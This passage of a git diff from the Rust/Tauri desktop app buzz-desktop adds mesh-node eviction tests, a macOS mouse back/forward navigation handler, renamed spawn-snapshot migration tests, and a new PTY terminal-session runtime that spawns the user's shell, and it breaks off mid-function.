+                MeshRecoveryUrgency::Watchdog,
+                MeshRecoveryUrgency::Foreground,
+            ] {
+                assert!(
+                    !should_evict_after_probe(urgency, MeshIngressProbe::Unhealthy, consecutive),
+                    "a still-loading node must never be evicted \
+                     (urgency={urgency:?}, minute={}, streak={consecutive})",
+                    pass * 15 / 60
+                );
+            }
+        }
+
+        // Sanity: the streak blew far past the threshold that used to evict,
+        // so the old logic WOULD have restarted this healthy loading node.
+        assert!(
+            passes >= DEAD_PROBE_EVICT_THRESHOLD,
+            "test must exceed the old eviction threshold to be meaningful"
+        );
+
+        // Once the load finishes and the ingress answers, the streak clears.
+        state.reset_probe_streak();
+        assert_eq!(state.record_dead_probe(runtime_id), 1);
+    }
+
     #[test]
     fn probe_streak_is_scoped_to_runtime_identity() {
         let state = MeshRecoveryState::default();
@@ -570,4 +671,39 @@ mod tests {
         );
         assert!(!"user note: shared compute config".starts_with(MESH_REARM_ERROR_SENTINEL));
     }
+
+    // Black-box proof of the classification the eviction rule stands on. A
+    // mesh node busy in inference (or loading, or downloading) keeps its
+    // ingress TCP port accepting connections in ~0ms while HTTP does not answer
+    // within the probe timeout — measured directly against a gemma-4-26B node:
+    // a concurrent `/v1/models` took ~27s, queued behind one in-flight turn.
+    // This stands up exactly that shape — a listener that accepts then never
+    // replies — and asserts the probe reads `Unhealthy` (busy), the verdict
+    // `should_evict_after_probe` now refuses to evict on. If this regressed to
+    // `PortClosed`, a busy node would again be misread as dead and restarted.
+    #[tokio::test]
+    async fn bound_but_stalled_http_classifies_as_unhealthy_not_closed() {
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0")
+            .await
+            .expect("bind ephemeral port");
+        let port = listener.local_addr().unwrap().port();
+        // Accept and hold connections open without ever writing a response —
+        // the wire-level equivalent of a node serializing HTTP behind a turn.
+        let accept_task = tokio::spawn(async move {
+            let mut held = Vec::new();
+            while let Ok((stream, _)) = listener.accept().await {
+                held.push(stream); // keep the socket open, never respond
+            }
+        });
+
+        let probe = probe_mesh_ingress_at(&format!("http://127.0.0.1:{port}/v1")).await;
+        accept_task.abort();
+
+        assert_eq!(
+            probe,
+            MeshIngressProbe::Unhealthy,
+            "a TCP-bound port that stalls HTTP (a busy/loading node) must read \
+             Unhealthy, never PortClosed — the eviction fix depends on this"
+        );
+    }
 }
diff --git a/desktop/src-tauri/src/migration/backfill.rs b/desktop/src-tauri/src/migration/backfill.rs
index cd62f63bbb..74cef7ffe6 100644
--- a/desktop/src-tauri/src/migration/backfill.rs
+++ b/desktop/src-tauri/src/migration/backfill.rs
@@ -26,7 +26,7 @@ use crate::managed_agents::{
 ///   `unwrap_or_default`, env COPIED so later instances inherit a working
 ///   config, quad copied to the definition defaults) and the record gains
 ///   `persona_source_version` = the new definition's content hash, so
-///   neither `spawn_config_hash` nor the drift badge moves.
+///   neither the spawn-config snapshot nor the drift badge moves.
 ///
 /// The manufactured definition's slug is the agent's pubkey: 64-hex passes
 /// the NIP-AP slug grammar on both relay and desktop ends, and agent pubkeys
diff --git a/desktop/src-tauri/src/migration/backfill_tests.rs b/desktop/src-tauri/src/migration/backfill_tests.rs
index 5d52d56678..d277a2aa5f 100644
--- a/desktop/src-tauri/src/migration/backfill_tests.rs
+++ b/desktop/src-tauri/src/migration/backfill_tests.rs
@@ -1,5 +1,5 @@
 use super::backfill_standalone_agents_in_dir;
-use crate::managed_agents::spawn_hash::spawn_config_hash;
+use crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot;
 use crate::managed_agents::{AgentDefinition, ManagedAgentRecord};
 use crate::migration::test_support::{read_agents_json, write_agents_json};
 use std::path::Path;
@@ -116,11 +116,11 @@ fn backfilled_definition_carries_prompt_present_even_if_empty() {
 }
 
 #[test]
-fn backfill_of_promptless_record_keeps_spawn_hash_stable() {
-    // B5 hash row 2: pre-backfill the record hashes prompt None; post-backfill
+fn backfill_of_promptless_record_keeps_spawn_snapshot_stable() {
+    // B5 drift row 2: pre-backfill the record snapshots prompt None; post-backfill
     // the prospective re-snapshot pulls Some("") from the manufactured
     // definition. The spawn layer treats an empty prompt as no prompt (env
-    // absent either way), so the hash must not move — otherwise every
+    // absent either way), so the snapshot must not move — otherwise every
     // prompt-less standalone agent lights the restart badge on upgrade.
     let dir = tempfile::tempdir().unwrap();
     let pubkey = "c".repeat(64);
@@ -131,7 +131,7 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() {
 
     let pre_records = load_typed(dir.path());
     let pre_instance = pre_records.iter().find(|r| !r.pubkey.is_empty()).unwrap();
-    let hash_before = spawn_config_hash(
+    let before = prospective_spawn_config_snapshot(
         pre_instance,
         &[],
         &[],
@@ -147,7 +147,7 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() {
         .iter()
         .filter_map(|r| r.to_definition_view())
         .collect();
-    let hash_after = spawn_config_hash(
+    let after = prospective_spawn_config_snapshot(
         post_instance,
         &personas,
         &[],
@@ -156,15 +156,16 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() {
     );
 
     assert_eq!(
-        hash_before, hash_after,
+        before.canonical(),
+        after.canonical(),
         "backfill must not flip the restart badge for prompt-less agents"
     );
 }
 
 #[test]
-fn backfill_of_prompted_record_keeps_spawn_hash_stable() {
+fn backfill_of_prompted_record_keeps_spawn_snapshot_stable() {
     // The general no-behavior-change rail: a standalone agent WITH config
-    // must also hash identically across backfill (the definition snapshots
+    // must also snapshot identically across backfill (the definition snapshots
     // the record's own values, so the re-snapshot writes back what is
     // already there).
     let dir = tempfile::tempdir().unwrap();
@@ -180,7 +181,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() {
 
     let pre_records = load_typed(dir.path());
     let pre_instance = pre_records.iter().find(|r| !r.pubkey.is_empty()).unwrap();
-    let hash_before = spawn_config_hash(
+    let before = prospective_spawn_config_snapshot(
         pre_instance,
         &[],
         &[],
@@ -196,7 +197,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() {
         .iter()
         .filter_map(|r| r.to_definition_view())
         .collect();
-    let hash_after = spawn_config_hash(
+    let after = prospective_spawn_config_snapshot(
         post_instance,
         &personas,
         &[],
@@ -204,7 +205,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() {
         &Default::default(),
     );
 
-    assert_eq!(hash_before, hash_after);
+    assert_eq!(before.canonical(), after.canonical());
 }
 
 #[test]
diff --git a/desktop/src-tauri/src/migration/materialize.rs b/desktop/src-tauri/src/migration/materialize.rs
index 5930920dd2..6ca23200e6 100644
--- a/desktop/src-tauri/src/migration/materialize.rs
+++ b/desktop/src-tauri/src/migration/materialize.rs
@@ -15,8 +15,8 @@ use super::{canonical_dev_data_dir, load_persona_runtimes, patch_json_records};
 /// persona (unified agent model, Phase 1A). After this, spawn resolution reads
 /// the record's own runtime (`record_agent_command` step 2) instead of the
 /// live persona — same effective command by construction, so the spawn-config
-/// hash is unchanged and no running agent shows a spurious restart badge (see
-/// `spawn_hash::tests::materializing_runtime_keeps_hash_stable`).
+/// snapshot is unchanged and no running agent shows a spurious restart badge
+/// (see `spawn_snapshot::tests::materializing_runtime_keeps_snapshot_stable`).
 ///
 /// Idempotent: records that already carry `runtime` are untouched, as are
 /// records with no linked persona or a persona without a runtime (both keep
diff --git a/desktop/src-tauri/src/mouse_nav.rs b/desktop/src-tauri/src/mouse_nav.rs
new file mode 100644
index 0000000000..cd729f7304
--- /dev/null
+++ b/desktop/src-tauri/src/mouse_nav.rs
@@ -0,0 +1,142 @@
+//! Native macOS handler for back/forward navigation inputs (mouse X1/X2
+//! buttons and horizontal swipe gestures).
+//!
+//! WKWebView never delivers these inputs to the web content layer, so a DOM
+//! listener can't see them (Safari itself handles them natively in the app
+//! layer, not in the page). This module installs an NSEvent local monitor
+//! and emits a `mouse-nav` Tauri event that `useBackForwardControls` acts on
+//! in the frontend. Two event shapes map to navigation:
+//!
+//! - `otherMouseUp` with button 3/4 — mice whose X1/X2 buttons reach the app
+//!   as plain mouse buttons.
+//! - `swipe` with a horizontal delta — AppKit's page-swipe gesture
+//!   (`swipeWithEvent:`): `deltaX > 0` is back, `deltaX < 0` is forward.
+//!   Sent by mouse drivers that synthesize a page-swipe gesture for the
+//!   back/forward buttons instead of button-3/4 events (the hardware this
+//!   was verified on). Stock Apple trackpad and Magic Mouse swipes arrive
+//!   as phased scroll-wheel events instead, which this module does not
+//!   handle — that path (`ScrollWheel` + `trackSwipeEventWithOptions:`,
+//!   which also needs scroll-edge detection) is a follow-up.
+//!
+//! Compiled macOS-only (via `tray_menu`). Non-macOS X1/X2 behavior is left
+//! to the underlying webview.
+
+/// Maps an `otherMouseUp` button number to a navigation direction.
+/// Buttons 3 and 4 are X1 (back) and X2 (forward).
+fn direction_for_button(button: isize) -> Option<&'static str> {
+    match button {
+        3 => Some("back"),
+        4 => Some("forward"),
+        _ => None,
+    }
+}
+
+/// Maps a swipe gesture's horizontal delta to a navigation direction,
+/// following the AppKit `swipeWithEvent:` convention: positive is back,
+/// negative is forward. A swipe arrives as a begin/end pair and only the
+/// end event carries the direction, so `deltaX == 0` maps to `None`.
+fn direction_for_swipe(delta_x: f64) -> Option<&'static str> {
+    if delta_x > 0.0 {
+        Some("back")
+    } else if delta_x < 0.0 {
+        Some("forward")
+    } else {
+        None
+    }
+}
+
+pub fn init<R: tauri::Runtime>(app_handle: &tauri::AppHandle<R>) {
+    use block2::RcBlock;
+    use objc2_app_kit::{NSEvent, NSEventMask, NSEventType};
+    use tauri::Emitter;
+
+    let app = app_handle.clone();
+    let block = RcBlock::new(move |event: std::ptr::NonNull<NSEvent>| -> *mut NSEvent {
+        // SAFETY: the monitor hands us a valid NSEvent for the matched mask.
+        let ev = unsafe { event.as_ref() };
+
+        match ev.r#type() {
+            NSEventType::OtherMouseUp => {
+                if let Some(direction) = direction_for_button(ev.buttonNumber()) {
+                    // Emit to the main window explicitly instead of
+                    // broadcasting (`emit`) so navigation stays scoped if
+                    // multi-window ever lands. "main" is the default label
+                    // for the single configured window (see deep_link.rs).
+                    let _ = app.emit_to("main", "mouse-nav", direction);
+                    // Swallow the release: nothing downstream should also act
+                    // on it. The matching press deliberately passes through:
+                    // WKWebView never delivers X1/X2 to the page, so the
+                    // unmatched down is inert, and swallowing presses risks
+                    // interfering with AppKit behaviors keyed off mouse-down.
+                    return std::ptr::null_mut();
+                }
+            }
+            NSEventType::Swipe => {
+                if let Some(direction) = direction_for_swipe(ev.deltaX()) {
+                    let _ = app.emit_to("main", "mouse-nav", direction);
+                }
+                // Pass swipes through: nothing else navigates on them, and
+                // swallowing mid-gesture events could confuse AppKit's
+                // gesture tracking.
+            }
+            _ => {}
+        }
+
+        event.as_ptr()
+    });
+
+    // SAFETY: the block returns either null or the pointer it was given, both
+    // valid per the monitor contract. The returned monitor token is
+    // deliberately leaked: the monitor must live for the whole app lifetime.
+    let monitor = unsafe {
+        NSEvent::addLocalMonitorForEventsMatchingMask_handler(
+            NSEventMask::OtherMouseUp | NSEventMask::Swipe,
+            &block,
+        )
+    };
+
+    if let Some(monitor) = monitor {
+        std::mem::forget(monitor);
+    } else {
+        eprintln!("buzz-desktop: mouse-nav: failed to install NSEvent monitor");
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn button_3_is_back() {
+        assert_eq!(direction_for_button(3), Some("back"));
+    }
+
+    #[test]
+    fn button_4_is_forward() {
+        assert_eq!(direction_for_button(4), Some("forward"));
+    }
+
+    #[test]
+    fn other_buttons_do_not_navigate() {
+        for button in [0, 1, 2, 5, -1] {
+            assert_eq!(direction_for_button(button), None);
+        }
+    }
+
+    #[test]
+    fn positive_swipe_delta_is_back() {
+        assert_eq!(direction_for_swipe(1.0), Some("back"));
+        assert_eq!(direction_for_swipe(0.5), Some("back"));
+    }
+
+    #[test]
+    fn negative_swipe_delta_is_forward() {
+        assert_eq!(direction_for_swipe(-1.0), Some("forward"));
+        assert_eq!(direction_for_swipe(-0.5), Some("forward"));
+    }
+
+    #[test]
+    fn zero_delta_swipe_begin_event_is_ignored() {
+        assert_eq!(direction_for_swipe(0.0), None);
+    }
+}
diff --git a/desktop/src-tauri/src/shutdown.rs b/desktop/src-tauri/src/shutdown.rs
index 95f9efc3c5..efd88f3cac 100644
--- a/desktop/src-tauri/src/shutdown.rs
+++ b/desktop/src-tauri/src/shutdown.rs
@@ -19,6 +19,8 @@ pub(crate) fn shut_down_app(app: &tauri::AppHandle, shutdown_done: &std::sync::a
         .store(true, Ordering::SeqCst);
     if !shutdown_done.swap(true, Ordering::SeqCst) {
         prevent_sleep::release(&app.state::<AppState>().prevent_sleep);
+        app.state::<crate::terminal_runtime::TerminalSessions>()
+            .shutdown_all();
         if let Err(error) = shutdown_managed_agents(app) {
             eprintln!("buzz-desktop: failed to stop managed agents: {error}");
         }
@@ -40,6 +42,8 @@ pub(crate) fn install_signal_handler(
             .shutdown_started
             .store(true, Ordering::SeqCst);
         if !shutdown_done.swap(true, Ordering::SeqCst) {
+            app.state::<crate::terminal_runtime::TerminalSessions>()
+                .shutdown_all();
             let _ = shutdown_managed_agents(&app);
             #[cfg(feature = "mesh-llm")]
             shutdown_mesh_runtime(&app);
diff --git a/desktop/src-tauri/src/terminal_runtime.rs b/desktop/src-tauri/src/terminal_runtime.rs
new file mode 100644
index 0000000000..87f969592d
--- /dev/null
+++ b/desktop/src-tauri/src/terminal_runtime.rs
@@ -0,0 +1,984 @@
+//! Rust-owned PTY sessions and the typed Tauri transport for Buzz Substrate.
+
+use std::io::{Read, Write};
+use std::sync::atomic::{AtomicBool, Ordering};
+use std::sync::{Arc, Mutex};
+use std::thread::JoinHandle;
+
+use buzz_terminal::context::{context_vars, GuiContext};
+use buzz_terminal::damage::{Frame, Style};
+use buzz_terminal::{Fences, SharedTerminal, Size, Terminal, Viewport};
+use portable_pty::{native_pty_system, CommandBuilder, MasterPty, PtySize};
+use serde::{Deserialize, Serialize};
+use tauri::ipc::Channel;
+use uuid::Uuid;
+
+use crate::terminal_transport::{FramePublisher, OfferError, Publication, SubscriptionId};
+
+mod scroll_sign;
+
+use scroll_sign::{scroll_by_dom_lines, DomLines};
+
+const MAX_LIVE_SESSIONS: usize = 20;
+const MAX_INPUT_BYTES: usize = 1024 * 1024;
+
+type Result<T> = std::result::Result<T, String>;
+
+#[derive(Debug, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct AttachRequest {
+    /// Present when a renderer remounts onto an existing PTY-backed tab.
+    session_id: Option<String>,
+    channel_id: String,
+    channel_name: String,
+    thread_id: Option<String>,
+    npub: String,
+    relay_url: String,
+    columns: u16,
+    rows: u16,
+    pixel_width: u16,
+    pixel_height: u16,
+}
+
+#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct WireViewport {
+    generation: u64,
+    columns: usize,
+    screen_lines: usize,
+}
+
+impl From<Viewport> for WireViewport {
+    fn from(value: Viewport) -> Self {
+        Self {
+            generation: value.generation,
+            columns: value.columns,
+            screen_lines: value.screen_lines,
+        }
+    }
+}
+
+impl From<WireViewport> for Viewport {
+    fn from(value: WireViewport) -> Self {
+        Self {
+            generation: value.generation,
+            columns: value.columns,
+            screen_lines: value.screen_lines,
+        }
+    }
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct AttachResponse {
+    session_id: String,
+    subscription_id: String,
+    viewport: WireViewport,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct WireStyle {
+    fg: u32,
+    bg: u32,
+    flags: u16,
+}
+
+impl From<Style> for WireStyle {
+    fn from(value: Style) -> Self {
+        Self {
+            fg: value.fg,
+            bg: value.bg,
+            flags: value.flags,
+        }
+    }
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct WireCluster {
+    column: usize,
+    text: String,
+    width: u8,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct WireSpan {
+    style: WireStyle,
+    clusters: Vec<WireCluster>,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct WireRow {
+    line: usize,
+    spans: Vec<WireSpan>,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct WireCursor {
+    line: usize,
+    column: usize,
+    visible: bool,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub(crate) struct FrameMessage {
+    subscription_id: String,
+    sequence: u64,
+    rows: Vec<WireRow>,
+    cursor: WireCursor,
+    full: bool,
+    viewport: WireViewport,
+    bracketed_paste: bool,
+    focus_reporting: bool,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(tag = "type", content = "payload", rename_all = "camelCase")]
+pub(crate) enum TerminalMessage {
+    Frame(FrameMessage),
+    Title(String),
+    ResetTitle,
+    Bell,
+    Exit,
+}
+
+fn wire_publication(publication: Publication) -> Result<FrameMessage> {
+    let frame = publication.frame;
+    let rows = frame
+        .rows
+        .into_iter()
+        .map(|row| {
+            let spans = row
+                .spans
+                .into_iter()
+                .map(|span| {
+                    if !span.counts_are_consistent() {
+                        return Err(
+                            "terminal engine emitted an inconsistent cluster count".to_string()
+                        );
+                    }
+                    let clusters = if span.cluster_count == 1 {
+                        vec![WireCluster {
+                            column: span.column,
+                            text: span.text,
+                            width: span.width,
+                        }]
+                    } else {
+                        span.text
+                            .chars()
+                            .enumerate()
+                            .map(|(index, ch)| WireCluster {
+                                column: span.column + index * usize::from(span.width),
+                                text: ch.to_string(),
+                                width: span.width,
+                            })
+                            .collect()
+                    };
+                    Ok(WireSpan {
+                        style: span.style.into(),
+                        clusters,
+                    })
+                })
+                .collect::<Result<Vec<_>>>()?;
+            Ok(WireRow {
+                line: row.line,
+                spans,
+            })
+        })
+        .collect::<Result<Vec<_>>>()?;
+    Ok(FrameMessage {
+        subscription_id: publication.subscription_id.to_string(),
+        sequence: publication.sequence,
+        rows,
+        cursor: WireCursor {
+            line: frame.cursor.line,
+            column: frame.cursor.column,
+            visible: frame.cursor.visible,
+        },
+        full: frame.full,
+        viewport: frame.viewport.into(),
+        bracketed_paste: false,
+        focus_reporting: false,
+    })
+}
+
+fn feed_and_drain(terminal: &SharedTerminal, bytes: &[u8]) -> bool {
+    let mut more = terminal.feed(bytes);
+    let deferred = more;
+    while more && !terminal.is_closing() {
+        more = terminal.drain();
+    }
+    deferred
+}
+
+struct ReaderThread {
+    handle: Option<JoinHandle<()>>,
+    terminal: Arc<SharedTerminal>,
+    stopping: Arc<AtomicBool>,
+}
+
+impl buzz_terminal::lifecycle::DrainingReader for ReaderThread {
+    fn begin_closing(&self) {
+        self.terminal.begin_closing();
+    }
+
+    fn stop(&self) {
+        self.stopping.store(true, Ordering::Release);
+    }
+
+    fn join(mut self: Box<Self>) {
+        if let Some(handle) = self.handle.take() {
+            let _ = handle.join();
+        }
+    }
+}
+
+struct Session {
+    id: Uuid,
+    terminal: Arc<SharedTerminal>,
+    master: Option<Box<dyn MasterPty + Send>>,
+    writer: Arc<Mutex<Box<dyn Write + Send>>>,
+    pty_size: Arc<Mutex<PtySize>>,
+    child: Box<dyn portable_pty::Child + Send + Sync>,
+    reader: Option<Box<dyn buzz_terminal::lifecycle::DrainingReader + Send>>,
+    publisher: Arc<Mutex<FramePublisher>>,
+    channel: Arc<Mutex<Option<Channel<TerminalMessage>>>>,
+}
+
+impl Session {
+    fn publish(&self, publication: Publication) {
+        let subscription = publication.subscription_id;
+        let sent = wire_publication(publication).and_then(|message| {
+            let (bracketed_paste, focus_reporting) = self.terminal.input_modes();
+            let mut message = message;
+            message.bracketed_paste = bracketed_paste;
+            message.focus_reporting = focus_reporting;
+            self.channel
+                .lock()
+                .map_err(|e| e.to_string())?
+                .as_ref()
+                .ok_or_else(|| "terminal renderer detached".to_string())?
+                .send(TerminalMessage::Frame(message))
+                .map_err(|e| e.to_string())
+        });
+        if sent.is_err() {
+            if let Ok(mut channel) = self.channel.lock() {
+                *channel = None;
+            }
+            if let Ok(mut publisher) = self.publisher.lock() {
+                publisher.fault(subscription);
+            }
+        }
+    }
+
+    fn shutdown(mut self) {
+        // Publication is detached before the reader enters close mode; the
+        // lifecycle helper then abandons parser work and keeps raw-draining
+        // through child termination and reap. Keep the renderer channel alive
+        // until the reader has reported Exit; close() removes the session from
+        // the runtime before shutdown begins, so this is its final message.
+        if let Ok(mut publisher) = self.publisher.lock() {
+            publisher.close();
+        }
+        if let Some(reader) = self.reader.take() {
+            #[cfg(unix)]
+            {
+                let _ = buzz_terminal::lifecycle::shutdown_draining(&mut self.child, reader);
+            }
+            #[cfg(not(unix))]
+            {
+                reader.begin_closing();
+                let _ = self.child.kill();
+                let _ = self.child.wait();
+                reader.stop();
+                reader.join();
+            }
+        }
+        if let Ok(mut channel) = self.channel.lock() {
+            *channel = None;
+        }
+    }
+}
+
+#[derive(Default)]
+pub(crate) struct TerminalSessions(Mutex<Vec<Session>>);
+
+impl TerminalSessions {
+    fn with_session<T>(&self, id: &str, f: impl FnOnce(&mut Session) -> Result<T>) -> Result<T> {
+        let id = Uuid::parse_str(id).map_err(|_| "invalid terminal session id".to_string())?;
+        let mut sessions = self.0.lock().map_err(|e| e.to_string())?;
+        let session = sessions
+            .iter_mut()
+            .find(|session| session.id == id)
+            .ok_or_else(|| "terminal session not found".to_string())?;
+        f(session)
+    }
+
+    pub(crate) fn shutdown_all(&self) {
+        let sessions = self
+            .0
+            .lock()
+            .map(|mut sessions| std::mem::take(&mut *sessions))
+            .unwrap_or_default();
+        for session in sessions {
+            session.shutdown();
+        }
+    }
+}
+
+fn size(columns: u16, rows: u16) -> Result<Size> {
+    if columns == 0 || rows == 0 {
+        return Err("terminal dimensions must be non-zero".to_string());
+    }
+    Ok(Size {
+        columns: usize::from(columns),
+        screen_lines: usize::from(rows),
+        ..Size::default()
+    })
+}
+
+fn pty_size(columns: u16, rows: u16, pixel_width: u16, pixel_height: u16) -> PtySize {
+    PtySize {
+        rows,
+        cols: columns,
+        pixel_width,
+        pixel_height,
+    }
+}
+
+fn offer_capture(
+    publisher: &Mutex<FramePublisher>,
+    frame: Frame,
+    snapshot: impl FnOnce() -> Frame,
+) -> Option<Publication> {
+    let offered = publisher.lock().ok()?.offer(frame);
+    match offered {
+        Ok(publication) => publication,
+        Err(OfferError::PendingFrameMustBeSnapshot) => {
+            publisher.lock().ok()?.offer(snapshot()).ok().flatten()
+        }
+    }
+}
+
+#[tauri::command]
+pub(crate) fn terminal_attach(
+    request: AttachRequest,
+    on_frame: Channel<TerminalMessage>,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<AttachResponse> {
+    let terminal_size = size(request.columns, request.rows)?;
+    let mut sessions = state.0.lock().map_err(|e| e.to_string())?;
+
+    if let Some(existing_id) = request.session_id.as_deref() {
+        let existing_id =
+            Uuid::parse_str(existing_id).map_err(|_| "invalid terminal session id".to_string())?;
+        let session = sessions
+            .iter_mut()
+            .find(|session| session.id == existing_id)
+            .ok_or_else(|| "terminal session not found".to_string())?;
+        let subscription = SubscriptionId::new();
+        let mut encoder = buzz_terminal::damage::Encoder::new();
+        let snapshot = session.terminal.snapshot(&mut encoder);
+        let viewport = snapshot.viewport;
+        *session.channel.lock().map_err(|e| e.to_string())? = Some(on_frame);
+        let bootstrap = session
+            .publisher
+            .lock()
+            .map_err(|e| e.to_string())?
+            .attach(subscription, snapshot)
+            .map_err(|_| "terminal snapshot rejected".to_string())?;
+        session.publish(bootstrap);
+        return Ok(AttachResponse {
+            session_id: existing_id.to_string(),
+            subscription_id: subscription.to_string(),
+            viewport: viewport.into(),
+        });
+    }
+
+    if sessions.len() >= MAX_LIVE_SESSIONS {
+        return Err("too many live terminal sessions".to_string());
+    }
+
+    let id = Uuid::new_v4();
+    let pair = native_pty_system()
+        .openpty(pty_size(
+            request.columns,
+            request.rows,
+            request.pixel_width,
+            request.pixel_height,
+        ))
+        .map_err(|e| e.to_string())?;
+    let shell = {
+        #[cfg(unix)]
+        {
+            buzz_terminal::shell::resolve_shell(std::env::var("SHELL").ok().as_deref())
+        }
+        #[cfg(windows)]
+        {
+            buzz_terminal::shell::resolve_shell(std::env::var("ComSpec").ok().as_deref())
+        }
+    };
+    let mut command = CommandBuilder::new_default_prog();
+    buzz_terminal::env_fence::fence_env(
+        &mut command,
+        &buzz_terminal::path::user_shell_path(),
+        &shell,
+    );
+    let context = GuiContext {
+        channel_id: request.channel_id,
+        channel_name: request.channel_name,
+        thread_id: request.thread_id,
+        npub: request.npub,
+        relay_url: request.relay_url,
+        session_id: id.to_string(),
+    };
+    for (key, value) in context_vars(&context) {
+        command.env(key, value);
+    }
+    let child = pair
+        .slave
+        .spawn_command(command)
+        .map_err(|e| e.to_string())?;
+    drop(pair.slave);
+    let mut reader = pair.master.try_clone_reader().map_err(|e| e.to_string())?;
+    let writer = Arc::new(Mutex::new(
+        pair.master.take_writer().map_err(|e| e.to_string())?,
+    ));
+    let (terminal, actions) = Terminal::new(terminal_size, Fences::default());
+    let terminal = Arc::new(SharedTerminal::new(terminal));
+    let publisher = Arc::new(Mutex::new(FramePublisher::new(terminal.lock().viewport())));
+    let channel = Arc::new(Mutex::new(Some(on_frame)));
+    let current_pty_size = Arc::new(Mutex::new(pty_size(
+        request.columns,
+        request.rows,
+        request.pixel_width,
+        request.pixel_height,
+    )));
+
+    // Emulator replies (DSR/size) must go back through the PTY even when no
+    // renderer is attached. The action thread ends when the terminal drops.
+    let action_writer = Arc::clone(&writer);
+    let action_size = Arc::clone(&current_pty_size);
+    let action_channel = Arc::clone(&channel);
+    std::thread::spawn(move || {
+        while let Ok(action) = actions.recv() {
+            let presentation = match &action {
+                buzz_terminal::Action::Title(title) => Some(TerminalMessage::Title(title.clone())),
+                buzz_terminal::Action::ResetTitle => Some(TerminalMessage::ResetTitle),
+                buzz_terminal::Action::Bell => Some(TerminalMessage::Bell),
+                _ => None,
+            };
+            if let Some(message) = presentation {
+                let _ = action_channel
+                    .lock()
+                    .ok()
+                    .and_then(|channel| channel.as_ref()?.send(message).ok());
+                continue;
+            }
+            let size = action_size.lock().map(|size| *size).unwrap_or_default();
+            if let Some(reply) = buzz_terminal::listener::reply(
+                action,
+                size.cols,
+                size.rows,
+                size.pixel_width,
+                size.pixel_height,
+            ) {
+                if action_writer.lock().map_or(true, |mut writer| {
+                    writer.write_all(reply.as_bytes()).is_err()
+                }) {
+                    break;
+                }
+            }
+        }
+    });
+
+    let reader_terminal = Arc::clone(&terminal);
+    let reader_publisher = Arc::clone(&publisher);
+    let reader_channel = Arc::clone(&channel);
+    let reader_stopping = Arc::new(AtomicBool::new(false));
+    let thread_stopping = Arc::clone(&reader_stopping);
+    let reader_handle = std::thread::spawn(move || {
+        let mut buffer = [0u8; 16 * 1024];
+        let mut encoder = buzz_terminal::damage::Encoder::new();
+        let mut snapshot_encoder = buzz_terminal::damage::Encoder::new();
+        loop {
+            let count = match reader.read(&mut buffer) {
+                Ok(0) | Err(_) => break,
+                Ok(count) => count,
+            };
+            if thread_stopping.load(Ordering::Acquire) {
+                break;
+            }
+            if reader_terminal.is_closing() {
+                continue;
+            }
+            let _ = feed_and_drain(&reader_terminal, &buffer[..count]);
+            if reader_terminal.is_closing() {
+                continue;
+            }
+            let needs_snapshot = reader_publisher
+                .lock()
+                .map(|publisher| publisher.requires_snapshot())
+                .unwrap_or(false);
+            let frame = if needs_snapshot {
+                reader_terminal.snapshot(&mut snapshot_encoder)
+            } else {
+                reader_terminal.render(&mut encoder)
+            };
+            if frame.is_empty() {
+                continue;
+            }
+            let publication = offer_capture(&reader_publisher, frame, || {
+                reader_terminal.snapshot(&mut snapshot_encoder)
+            });
+            if let Some(publication) = publication {
+                let subscription = publication.subscription_id;
+                let result = wire_publication(publication).and_then(|mut message| {
+                    let (bracketed_paste, focus_reporting) = reader_terminal.input_modes();
+                    message.bracketed_paste = bracketed_paste;
+                    message.focus_reporting = focus_reporting;
+                    reader_channel
+                        .lock()
+                        .map_err(|e| e.to_string())?
+                        .as_ref()
+                        .ok_or_else(|| "detached".to_string())?
+                        .send(TerminalMessage::Frame(message))
+                        .map_err(|e| e.to_string())
+                });
+                if result.is_err() {
+                    if let Ok(mut publisher) = reader_publisher.lock() {
+                        publisher.fault(subscription);
+                    }
+                }
+            }
+        }
+        let _ = reader_channel
+            .lock()
+            .ok()
+            .and_then(|channel| channel.as_ref()?.send(TerminalMessage::Exit).ok());
+    });
+
+    let subscription = SubscriptionId::new();
+    let mut snapshot_encoder = buzz_terminal::damage::Encoder::new();
+    let viewport = terminal.lock().viewport();
+    let bootstrap = publisher
+        .lock()
+        .map_err(|e| e.to_string())?
+        .attach(subscription, terminal.snapshot(&mut snapshot_encoder))
+        .map_err(|_| "terminal snapshot rejected".to_string())?;
+    let session = Session {
+        id,
+        terminal: Arc::clone(&terminal),
+        master: Some(pair.master),
+        writer,
+        pty_size: current_pty_size,
+        child,
+        reader: Some(Box::new(ReaderThread {
+            handle: Some(reader_handle),
+            terminal: Arc::clone(&terminal),
+            stopping: reader_stopping,
+        })),
+        publisher,
+        channel,
+    };
+    session.publish(bootstrap);
+    sessions.push(session);
+    Ok(AttachResponse {
+        session_id: id.to_string(),
+        subscription_id: subscription.to_string(),
+        viewport: viewport.into(),
+    })
+}
+
+#[tauri::command]
+pub(crate) fn terminal_detach(
+    session_id: String,
+    subscription_id: String,
+    state: tauri::State<'_, TerminalSessions>,
+) -> Result<()> {
+    state.with_session(&session_id, |session| {
+        let id = SubscriptionId::parse(&subscription_id)?;
+        let detached = session
+            .publisher
+            .lock()
+            .map_err(|e| e.to_string())?
+            .fault(id);
